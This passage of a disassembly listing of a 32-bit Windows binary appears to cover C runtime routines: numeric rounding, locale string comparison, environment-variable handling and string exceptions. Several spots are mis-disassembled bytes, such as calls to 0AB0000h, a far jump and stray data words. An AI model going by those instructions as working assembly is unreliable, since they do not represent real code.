cmp word ptr [ebp+var_24], 8000h
ja short loc_41BF73
mov eax, [ebp+var_24]
and eax, 1FFFFh
cmp eax, 18000h
jnz short loc_41BFA8
loc_41BF73: ; CODE XREF: sub_41BDCC+196j
cmp [ebp+var_24+2], 0FFFFFFFFh
jnz short loc_41BFA5
and [ebp+var_24+2], 0
cmp [ebp+var_20+2], 0FFFFFFFFh
jnz short loc_41BFA0
and [ebp+var_20+2], 0
cmp word ptr [ebp+var_1C+2], 0FFFFh
jnz short loc_41BF9A
inc [ebp+arg_0]
mov word ptr [ebp+var_1C+2], 8000h
jmp short loc_41BFA8
; ---------------------------------------------------------------------------
loc_41BF9A: ; CODE XREF: sub_41BDCC+1C1j
inc word ptr [ebp+var_1C+2]
jmp short loc_41BFA8
; ---------------------------------------------------------------------------
loc_41BFA0: ; CODE XREF: sub_41BDCC+1B5j
inc [ebp+var_20+2]
jmp short loc_41BFA8
; ---------------------------------------------------------------------------
loc_41BFA5: ; CODE XREF: sub_41BDCC+1ABj
inc [ebp+var_24+2]
loc_41BFA8: ; CODE XREF: sub_41BDCC+1A5j
; sub_41BDCC+1CCj ...
mov eax, [ebp+arg_0]
cmp ax, 7FFFh
jnb short loc_41BFCC
mov cx, word ptr [ebp+var_24+2]
or eax, edi
mov [esi], cx
mov ecx, [ebp+var_20]
mov [esi+2], ecx
mov ecx, [ebp+var_1C]
mov [esi+6], ecx
loc_41BFC6: ; CODE XREF: sub_41BDCC+86j
mov [esi+0Ah], ax
jmp short loc_41BFE7
; ---------------------------------------------------------------------------
loc_41BFCC: ; CODE XREF: sub_41BDCC+42j
; sub_41BDCC+4Dj ...
neg di
sbb edi, edi
and dword ptr [esi+4], 0
and edi, 80000000h
add edi, 7FFF8000h
and dword ptr [esi], 0
mov [esi+8], edi
loc_41BFE7: ; CODE XREF: sub_41BDCC+ABj
; sub_41BDCC+1FEj
pop edi
pop esi
pop ebx
leave
retn
sub_41BDCC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BFEC proc near ; CODE XREF: sub_41B403+440p
; sub_41B8D4+14Cp
var_C = byte ptr -0Ch
var_A = dword ptr -0Ah
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov ebx, offset dword_431F80
xor ecx, ecx
sub ebx, 60h
cmp [ebp+arg_4], ecx
jz short loc_41C065
jge short loc_41C014
mov eax, [ebp+arg_4]
mov ebx, offset dword_4320E0
neg eax
mov [ebp+arg_4], eax
sub ebx, 60h
loc_41C014: ; CODE XREF: sub_41BFEC+16j
cmp [ebp+arg_8], ecx
jnz short loc_41C01F
mov eax, [ebp+arg_0]
mov [eax], cx
loc_41C01F: ; CODE XREF: sub_41BFEC+2Bj
cmp [ebp+arg_4], ecx
jz short loc_41C065
push esi
push edi
loc_41C026: ; CODE XREF: sub_41BFEC+75j
mov eax, [ebp+arg_4]
add ebx, 54h
sar [ebp+arg_4], 3
and eax, 7
cmp eax, ecx
jz short loc_41C05E
lea eax, [eax+eax*2]
cmp word ptr [ebx+eax*4], 8000h
lea esi, [ebx+eax*4]
jb short loc_41C051
lea edi, [ebp+var_C]
movsd
movsd
movsd
dec [ebp+var_A]
lea esi, [ebp+var_C]
loc_41C051: ; CODE XREF: sub_41BFEC+57j
push esi
push [ebp+arg_0]
call sub_41BDCC
pop ecx
pop ecx
xor ecx, ecx
loc_41C05E: ; CODE XREF: sub_41BFEC+49j
cmp [ebp+arg_4], ecx
jnz short loc_41C026
pop edi
pop esi
loc_41C065: ; CODE XREF: sub_41BFEC+14j
; sub_41BFEC+36j
pop ebx
leave
retn
sub_41BFEC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C068 proc near ; CODE XREF: sub_41BCD9+5Ep
; sub_41C519+18p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0
jnz short loc_41C075
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41C075: ; CODE XREF: sub_41C068+7j
push dword_463FE4
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_8]
push [ebp+arg_0]
push 1
push dword_464204
call sub_41C115
add esp, 1Ch
test eax, eax
jnz short loc_41C0A2
mov eax, 7FFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41C0A2: ; CODE XREF: sub_41C068+31j
add eax, 0FFFFFFFEh
pop ebp
retn
sub_41C068 endp
; =============== S U B R O U T I N E =======================================
sub_41C0A7 proc near ; CODE XREF: sub_41BCD9+1Ep
; sub_41C392+5Bp
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
mov esi, dword_462BF4
push edi
xor edi, edi
mov eax, [esi]
cmp eax, edi
jz short loc_41C108
mov ebx, dword_41D12C
loc_41C0C0: ; CODE XREF: sub_41C0A7+5Fj
push edi
push edi
push edi
push edi
push 0FFFFFFFFh
push eax
push edi
push 1
call ebx ; dword_41D12C
mov ebp, eax
cmp ebp, edi
jz short loc_41C110
push ebp
call sub_41279F
cmp eax, edi
pop ecx
mov [esp+14h+var_4], eax
jz short loc_41C110
push edi
push edi
push ebp
push eax
push 0FFFFFFFFh
push dword ptr [esi]
push edi
push 1
call ebx ; dword_41D12C
test eax, eax
jz short loc_41C110
push edi
push [esp+18h+var_4]
call sub_41C392
mov eax, [esi+4]
add esi, 4
pop ecx
cmp eax, edi
pop ecx
jnz short loc_41C0C0
loc_41C108: ; CODE XREF: sub_41C0A7+11j
xor eax, eax
loc_41C10A: ; CODE XREF: sub_41C0A7+6Cj
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41C110: ; CODE XREF: sub_41C0A7+29j
; sub_41C0A7+38j ...
or eax, 0FFFFFFFFh
jmp short loc_41C10A
sub_41C0A7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C115 proc near ; CODE XREF: sub_41C068+27p
var_3C = dword ptr -3Ch
var_36 = byte ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_41DC18
push offset sub_419528
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor ebx, ebx
cmp dword_462EA8, ebx
push 1
pop edi
jnz short loc_41C188
push edi
mov eax, offset dword_41D868
push eax
push edi
push eax
push ebx
push ebx
call dword_41D008 ; CompareStringW
test eax, eax
jz short loc_41C165
mov dword_462EA8, edi
jmp short loc_41C188
; ---------------------------------------------------------------------------
loc_41C165: ; CODE XREF: sub_41C115+46j
push edi
mov eax, offset dword_432704
push eax
push edi
push eax
push ebx
push ebx
call dword_41D00C ; CompareStringA
test eax, eax
jz loc_41C37E
mov dword_462EA8, 2
loc_41C188: ; CODE XREF: sub_41C115+31j
; sub_41C115+4Ej
mov esi, [ebp+arg_C]
cmp esi, ebx
jle short loc_41C19F
push esi
push [ebp+arg_8]
call sub_418865
pop ecx
pop ecx
mov esi, eax
mov [ebp+arg_C], esi
loc_41C19F: ; CODE XREF: sub_41C115+78j
cmp [ebp+arg_14], ebx
jle short loc_41C1B4
push [ebp+arg_14]
push [ebp+arg_10]
call sub_418865
pop ecx
pop ecx
mov [ebp+arg_14], eax
loc_41C1B4: ; CODE XREF: sub_41C115+8Dj
mov eax, dword_462EA8
cmp eax, 2
jnz short loc_41C1D9
push [ebp+arg_14]
push [ebp+arg_10]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_41D00C ; CompareStringA
jmp loc_41C380
; ---------------------------------------------------------------------------
loc_41C1D9: ; CODE XREF: sub_41C115+A7j
cmp eax, edi
jnz loc_41C37E
cmp [ebp+arg_18], ebx
jnz short loc_41C1EE
mov eax, dword_462C68
mov [ebp+arg_18], eax
loc_41C1EE: ; CODE XREF: sub_41C115+CFj
cmp esi, ebx
jz short loc_41C1FB
cmp [ebp+arg_14], ebx
jnz loc_41C293
loc_41C1FB: ; CODE XREF: sub_41C115+DBj
cmp esi, [ebp+arg_14]
jnz short loc_41C208
loc_41C200: ; CODE XREF: sub_41C115+16Dj
push 2
loc_41C202: ; CODE XREF: sub_41C115+146j
pop eax
jmp loc_41C380
; ---------------------------------------------------------------------------
loc_41C208: ; CODE XREF: sub_41C115+E9j
cmp [ebp+arg_14], edi
jle short loc_41C214
loc_41C20D: ; CODE XREF: sub_41C115+151j
; sub_41C115+159j ...
mov eax, edi
jmp loc_41C380
; ---------------------------------------------------------------------------
loc_41C214: ; CODE XREF: sub_41C115+F6j
cmp esi, edi
jg short loc_41C259
lea eax, [ebp+var_3C]
push eax
push [ebp+arg_18]
call near ptr 0AB0000h
jmp far ptr 151h:840FC085h
; ---------------------------------------------------------------------------
align 4
dd 7EF33B00h, 0C47D832Ch, 8D227202h, 5D38CA45h, 8A1A74CAh
dd 0D33A0150h, 4D8B1374h, 3A098A10h, 3A047208h, 40AD76CAh
dd 75183840h
db 0E6h
; ---------------------------------------------------------------------------
loc_41C259: ; CODE XREF: sub_41C115+101j
push 3
jmp short loc_41C202
; ---------------------------------------------------------------------------
cmp [ebp+arg_14], ebx
jle short loc_41C293
cmp [ebp+var_3C], 2
jb short loc_41C20D
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_41C20D
loc_41C270: ; CODE XREF: sub_41C115+177j
mov dl, [eax+1]
cmp dl, bl
jz short loc_41C20D
mov ecx, [ebp+arg_10]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_41C288
cmp cl, dl
jbe loc_41C200
loc_41C288: ; CODE XREF: sub_41C115+169j
inc eax
inc eax
cmp [eax], bl
jnz short loc_41C270
jmp loc_41C20D
; ---------------------------------------------------------------------------
loc_41C293: ; CODE XREF: sub_41C115+E0j
; sub_41C115+14Bj
push ebx
push ebx
push esi
push [ebp+arg_8]
push 9
push [ebp+arg_18]
call dword_41D130 ; MultiByteToWideChar
mov [ebp+var_1C], eax
cmp eax, ebx
jz loc_41C37E
mov [ebp+var_4], ebx
add eax, eax
add eax, 3
and al, 0FCh
call sub_412770
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_41C2E2
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+arg_C]
push 1
pop edi
loc_41C2E2: ; CODE XREF: sub_41C115+1B5j
cmp [ebp+var_24], ebx
jz loc_41C37E
push [ebp+var_1C]
push [ebp+var_24]
push esi
push [ebp+arg_8]
push edi
push [ebp+arg_18]
mov esi, dword_41D130
call esi ; dword_41D130
test eax, eax
jz short loc_41C37E
push ebx
push ebx
push [ebp+arg_14]
push [ebp+arg_10]
push 9
push [ebp+arg_18]
call esi ; dword_41D130
mov esi, eax
mov [ebp+var_20], esi
cmp esi, ebx
jz short loc_41C37E
mov [ebp+var_4], edi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_412770
mov [ebp+var_18], esp
mov edi, esp
mov [ebp+var_28], edi
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_41C34D
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor edi, edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_20]
loc_41C34D: ; CODE XREF: sub_41C115+224j
cmp edi, ebx
jz short loc_41C37E
push esi
push edi
push [ebp+arg_14]
push [ebp+arg_10]
push 1
push [ebp+arg_18]
call dword_41D130 ; MultiByteToWideChar
test eax, eax
jz short loc_41C37E
push esi
push edi
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_41D008 ; CompareStringW
jmp short loc_41C380
; ---------------------------------------------------------------------------
loc_41C37E: ; CODE XREF: sub_41C115+63j
; sub_41C115+C6j ...
xor eax, eax
loc_41C380: ; CODE XREF: sub_41C115+BFj
; sub_41C115+EEj ...
lea esp, [ebp-4Ch]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41C115 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C392 proc near ; CODE XREF: sub_41C0A7+50p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor edi, edi
cmp [ebp+arg_0], edi
jz short loc_41C3F6
push 3Dh
push [ebp+arg_0]
call sub_41C5D8
mov esi, eax
pop ecx
cmp esi, edi
pop ecx
mov [ebp+var_8], esi
jz short loc_41C3F6
cmp [ebp+arg_0], esi
jz short loc_41C3F6
mov eax, dword_462BEC
xor ebx, ebx
cmp [esi+1], bl
setz bl
cmp eax, dword_462BF0
jnz short loc_41C3DC
push eax
call sub_41C571
pop ecx
mov dword_462BEC, eax
loc_41C3DC: ; CODE XREF: sub_41C392+3Cj
cmp eax, edi
jnz short loc_41C434
cmp [ebp+arg_4], edi
jz short loc_41C3FE
cmp dword_462BF4, edi
jz short loc_41C3FE
call sub_41C0A7
test eax, eax
jz short loc_41C434
loc_41C3F6: ; CODE XREF: sub_41C392+Dj
; sub_41C392+22j ...
or eax, 0FFFFFFFFh
loc_41C3F9: ; CODE XREF: sub_41C392+182j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41C3FE: ; CODE XREF: sub_41C392+51j
; sub_41C392+59j
cmp ebx, edi
jnz loc_41C512
push 4
call sub_41279F
cmp eax, edi
pop ecx
mov dword_462BEC, eax
jz short loc_41C3F6
mov [eax], edi
cmp dword_462BF4, edi
jnz short loc_41C434
push 4
call sub_41279F
cmp eax, edi
pop ecx
mov dword_462BF4, eax
jz short loc_41C3F6
mov [eax], edi
loc_41C434: ; CODE XREF: sub_41C392+4Cj
; sub_41C392+62j ...
sub esi, [ebp+arg_0]
mov edi, dword_462BEC
mov [ebp+var_4], edi
push esi
push [ebp+arg_0]
call sub_41C519
mov esi, eax
pop ecx
test esi, esi
pop ecx
jl short loc_41C494
cmp dword ptr [edi], 0
jz short loc_41C494
test ebx, ebx
jz short loc_41C48C
push dword ptr [edi+esi*4]
lea edi, [edi+esi*4]
call sub_412813
pop ecx
loc_41C466: ; CODE XREF: sub_41C392+E2j
cmp dword ptr [edi], 0
jz short loc_41C476
mov eax, [edi+4]
inc esi
mov [edi], eax
add edi, 4
jmp short loc_41C466
; ---------------------------------------------------------------------------
loc_41C476: ; CODE XREF: sub_41C392+D7j
mov eax, esi
shl eax, 2
push eax
push [ebp+var_4]
call sub_413D8F
pop ecx
test eax, eax
pop ecx
jz short loc_41C4C6
jmp short loc_41C4C1
; ---------------------------------------------------------------------------
loc_41C48C: ; CODE XREF: sub_41C392+C6j
mov eax, [ebp+arg_0]
mov [edi+esi*4], eax
jmp short loc_41C4C6
; ---------------------------------------------------------------------------
loc_41C494: ; CODE XREF: sub_41C392+BDj
; sub_41C392+C2j
test ebx, ebx
jnz short loc_41C512
test esi, esi
jge short loc_41C49E
neg esi
loc_41C49E: ; CODE XREF: sub_41C392+108j
lea eax, ds:8[esi*4]
push eax
push edi
call sub_413D8F
pop ecx
test eax, eax
pop ecx
jz loc_41C3F6
mov ecx, [ebp+arg_0]
mov [eax+esi*4], ecx
and dword ptr [eax+esi*4+4], 0
loc_41C4C1: ; CODE XREF: sub_41C392+F8j
mov dword_462BEC, eax
loc_41C4C6: ; CODE XREF: sub_41C392+F6j
; sub_41C392+100j
cmp [ebp+arg_4], 0
jz short loc_41C512
push [ebp+arg_0]
call sub_4126F0
inc eax
inc eax
push eax
call sub_41279F
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_41C512
push [ebp+arg_0]
push esi
call sub_412600
mov eax, esi
pop ecx
sub eax, [ebp+arg_0]
pop ecx
add eax, [ebp+var_8]
and byte ptr [eax], 0
inc eax
neg ebx
sbb ebx, ebx
not ebx
and ebx, eax
push ebx
push esi
call near ptr 0AB0000h
icebp
push esi
call sub_412813
pop ecx
loc_41C512: ; CODE XREF: sub_41C392+6Ej
; sub_41C392+104j ...
xor eax, eax
jmp loc_41C3F9
sub_41C392 endp
; =============== S U B R O U T I N E =======================================
sub_41C519 proc near ; CODE XREF: sub_41C392+B2p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, dword_462BEC
push edi
mov eax, [esi]
test eax, eax
jz short loc_41C554
mov edi, [esp+8+arg_4]
loc_41C52B: ; CODE XREF: sub_41C519+39j
push edi
push eax
push [esp+10h+arg_0]
call sub_41C068
add esp, 0Ch
test eax, eax
jnz short loc_41C54A
mov eax, [esi]
mov al, [eax+edi]
cmp al, 3Dh
jz short loc_41C564
test al, al
jz short loc_41C564
loc_41C54A: ; CODE XREF: sub_41C519+22j
mov eax, [esi+4]
add esi, 4
test eax, eax
jnz short loc_41C52B
loc_41C554: ; CODE XREF: sub_41C519+Cj
mov eax, esi
sub eax, dword_462BEC
sar eax, 2
neg eax
loc_41C561: ; CODE XREF: sub_41C519+56j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_41C564: ; CODE XREF: sub_41C519+2Bj
; sub_41C519+2Fj
mov eax, esi
sub eax, dword_462BEC
sar eax, 2
jmp short loc_41C561
sub_41C519 endp
; =============== S U B R O U T I N E =======================================
sub_41C571 proc near ; CODE XREF: sub_41C392+3Fp
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor ecx, ecx
test edi, edi
jnz short loc_41C580
xor eax, eax
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C580: ; CODE XREF: sub_41C571+9j
cmp dword ptr [edi], 0
lea eax, [edi+4]
jz short loc_41C592
loc_41C588: ; CODE XREF: sub_41C571+1Fj
mov edx, [eax]
inc ecx
add eax, 4
test edx, edx
jnz short loc_41C588
loc_41C592: ; CODE XREF: sub_41C571+15j
push ebx
push ebp
lea eax, ds:4[ecx*4]
push esi
push eax
call sub_41279F
mov esi, eax
pop ecx
test esi, esi
mov ebp, esi
jnz short loc_41C5B3
push 9
call sub_4144BE
pop ecx
loc_41C5B3: ; CODE XREF: sub_41C571+38j
mov eax, [edi]
mov ebx, edi
loc_41C5B7: ; CODE XREF: sub_41C571+5Bj
test eax, eax
jz short loc_41C5CE
push eax
add ebx, 4
call sub_41C64B
mov [esi], eax
mov eax, [ebx]
pop ecx
add esi, 4
jmp short loc_41C5B7
; ---------------------------------------------------------------------------
loc_41C5CE: ; CODE XREF: sub_41C571+48j
and dword ptr [esi], 0
mov eax, ebp
pop esi
pop ebp
pop ebx
pop edi
retn
sub_41C571 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C5D8 proc near ; CODE XREF: sub_41C392+14p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp dword_463FFC, 0
jnz short loc_41C5F3
push [ebp+arg_4]
push [ebp+arg_0]
call sub_414140
pop ecx
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41C5F3: ; CODE XREF: sub_41C5D8+Aj
mov ecx, [ebp+arg_0]
loc_41C5F6: ; CODE XREF: sub_41C5D8+56j
movzx ax, byte ptr [ecx]
test ax, ax
jz short loc_41C639
movzx edx, al
test byte_464101[edx], 4
jz short loc_41C625
mov dl, [ecx+1]
inc ecx
test dl, dl
jz short loc_41C630
movzx eax, ax
movzx edx, dl
shl eax, 8
or eax, edx
cmp [ebp+arg_4], eax
jz short loc_41C634
jmp short loc_41C62D
; ---------------------------------------------------------------------------
loc_41C625: ; CODE XREF: sub_41C5D8+31j
movzx edx, ax
cmp [ebp+arg_4], edx
jz short loc_41C639
loc_41C62D: ; CODE XREF: sub_41C5D8+4Bj
inc ecx
jmp short loc_41C5F6
; ---------------------------------------------------------------------------
loc_41C630: ; CODE XREF: sub_41C5D8+39j
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41C634: ; CODE XREF: sub_41C5D8+49j
lea eax, [ecx-1]
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41C639: ; CODE XREF: sub_41C5D8+25j
; sub_41C5D8+53j
movzx edx, ax
mov eax, [ebp+arg_4]
sub eax, edx
neg eax
sbb eax, eax
not eax
and eax, ecx
pop ebp
retn
sub_41C5D8 endp
; =============== S U B R O U T I N E =======================================
sub_41C64B proc near ; CODE XREF: sub_40787E+21p
; sub_41C571+4Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_41C672
push esi
call sub_4126F0
inc eax
push eax
call sub_41279F
pop ecx
test eax, eax
pop ecx
jz short loc_41C672
push esi
push eax
call sub_412600
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41C672: ; CODE XREF: sub_41C64B+7j
; sub_41C64B+1Aj
xor eax, eax
pop esi
retn
sub_41C64B endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C680 proc near ; CODE XREF: sub_4034C7+15p
; sub_403520+15p ...
mov eax, offset loc_41CB70
call sub_412E30
sub esp, 30h
mov al, [ebp-0Dh]
push esi
push 0
lea ecx, [ebp-20h]
mov [ebp-20h], al
call sub_4036CA
mov esi, offset aStringTooLong ; "string too long"
push esi
call sub_4126F0
pop ecx
push eax
push esi
lea ecx, [ebp-20h]
call sub_403706
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_41C6DA
lea eax, [ebp-3Ch]
push offset dword_41DF78
push eax
mov dword ptr [ebp-3Ch], offset off_41DC34
call sub_41CAD9
pop esi
sub_41C680 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41C6DA proc near ; CODE XREF: sub_41C680+3Fp
; sub_41C8AC+3Fp
mov eax, offset loc_41CB84
call sub_412E30
push ecx
push ecx
push ebx
push esi
lea eax, [ebp-10h]
push edi
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset byte_432708
call sub_41C9FE
mov ebx, [ebp+8]
and dword ptr [ebp-4], 0
lea edi, [esi+0Ch]
push 0
mov al, [ebx]
mov ecx, edi
mov [edi], al
call sub_4036CA
push dword_41D240
mov ecx, edi
push 0
push ebx
call sub_403577
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_41DC54
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn 4
sub_41C6DA endp
; =============== S U B R O U T I N E =======================================
sub_41C73E proc near ; DATA XREF: .nsp0:0041DC38o
; .nsp0:0041DC58o ...
mov eax, [ecx+10h]
test eax, eax
jnz short locret_41C74A
mov eax, offset dword_41D250
locret_41C74A: ; CODE XREF: sub_41C73E+5j
retn
sub_41C73E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C74B proc near ; DATA XREF: .nsp0:0041DC5Co
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_41C7C1
lea eax, [ebp+var_1C]
push offset dword_41DFE8
push eax
call sub_41CAD9
sub_41C74B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41C768 proc near ; CODE XREF: .nsp0:0041C7A8p
; DATA XREF: .nsp0:0041DFECo
mov eax, offset loc_41CB98
call sub_412E30
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_41DC54
and dword ptr [ebp-4], 0
push 1
lea ecx, [esi+0Ch]
call sub_4036CA
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_41CA85
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_41C768 endp
; ---------------------------------------------------------------------------
loc_41C7A5: ; DATA XREF: .nsp0:off_41DC54o
push esi
mov esi, ecx
call sub_41C768
test byte ptr [esp+8], 1
jz short loc_41C7BB
push esi
call sub_412E4F
pop ecx
loc_41C7BB: ; CODE XREF: .nsp0:0041C7B2j
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_41C7C1 proc near ; CODE XREF: sub_41C74B+Ap
; sub_41C894+7p ...
mov eax, offset loc_41CBAC
call sub_412E30
push ecx
push ebx
mov ebx, [ebp+8]
push esi
push edi
mov esi, ecx
push ebx
mov [ebp-10h], esi
call sub_41CA3B
mov al, [ebx+0Ch]
and dword ptr [ebp-4], 0
add ebx, 0Ch
lea edi, [esi+0Ch]
push 0
mov ecx, edi
mov [edi], al
call sub_4036CA
push dword_41D240
mov ecx, edi
push 0
push ebx
call sub_403577
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_41DC54
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn 4
sub_41C7C1 endp
; =============== S U B R O U T I N E =======================================
sub_41C81E proc near ; CODE XREF: sub_41C85B+20p
; DATA XREF: .nsp0:0041DF7Co
mov eax, offset loc_41CBC0
call sub_412E30
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_41DC54
and dword ptr [ebp-4], 0
push 1
lea ecx, [esi+0Ch]
call sub_4036CA
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_41CA85
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_41C81E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C85B proc near ; DATA XREF: .nsp0:0041DC3Co
var_1C = byte ptr -1Ch
var_18 = byte ptr -18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_41C894
lea eax, [ebp+var_1C]
push offset dword_41DF78
push eax
call sub_41CAD9
loc_41C878: ; DATA XREF: .nsp0:off_41DC34o
push esi
mov esi, ecx
call sub_41C81E
test [esp+20h+var_18], 1
jz short loc_41C88E
push esi
call sub_412E4F
pop ecx
loc_41C88E: ; CODE XREF: sub_41C85B+2Aj
mov eax, esi
pop esi
retn 4
sub_41C85B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41C894 proc near ; CODE XREF: sub_41C85B+Ap
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_41C7C1
mov dword ptr [esi], offset off_41DC34
mov eax, esi
pop esi
retn 4
sub_41C894 endp
; =============== S U B R O U T I N E =======================================
sub_41C8AC proc near ; CODE XREF: sub_403577+13p
; sub_40373B+Ep
mov eax, offset loc_41CBD4
call sub_412E30
sub esp, 30h
mov al, [ebp-0Dh]
push esi
push 0
lea ecx, [ebp-20h]
mov [ebp-20h], al
call sub_4036CA
mov esi, offset aInvalidStringP ; "invalid string position"
push esi
call sub_4126F0
pop ecx
push eax
push esi
lea ecx, [ebp-20h]
call sub_403706
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_41C6DA
lea eax, [ebp-3Ch]
push offset dword_41E0A0
push eax
mov dword ptr [ebp-3Ch], offset off_41DC64
call sub_41CAD9
pop esi
sub_41C8AC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41C906 proc near ; CODE XREF: sub_41C943+20p
; DATA XREF: .nsp0:0041E0A4o
mov eax, offset loc_41CBE8
call sub_412E30
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_41DC54
and dword ptr [ebp-4], 0
push 1
lea ecx, [esi+0Ch]
call sub_4036CA
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_41CA85
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_41C906 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C943 proc near ; DATA XREF: .nsp0:0041DC6Co
var_1C = byte ptr -1Ch
var_18 = byte ptr -18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_41C97C
lea eax, [ebp+var_1C]
push offset dword_41E0A0
push eax
call sub_41CAD9
loc_41C960: ; DATA XREF: .nsp0:off_41DC64o
push esi
mov esi, ecx
call sub_41C906
test [esp+20h+var_18], 1
jz short loc_41C976
push esi
call sub_412E4F
pop ecx
loc_41C976: ; CODE XREF: sub_41C943+2Aj
mov eax, esi
pop esi
retn 4
sub_41C943 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41C97C proc near ; CODE XREF: sub_41C943+Ap
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_41C7C1
mov dword ptr [esi], offset off_41DC64
mov eax, esi
pop esi
retn 4
sub_41C97C endp
; =============== S U B R O U T I N E =======================================
sub_41C994 proc near ; DATA XREF: .nsp0:0041F008o
; FUNCTION CHUNK AT 0041C9CA SIZE 0000000C BYTES
test byte_462EAC, 1
jnz short loc_41C9A4
or byte_462EAC, 1
loc_41C9A4: ; CODE XREF: sub_41C994+7j
call sub_41C9BE
test byte_464238, 1
jnz short loc_41C9B9
or byte_464238, 1
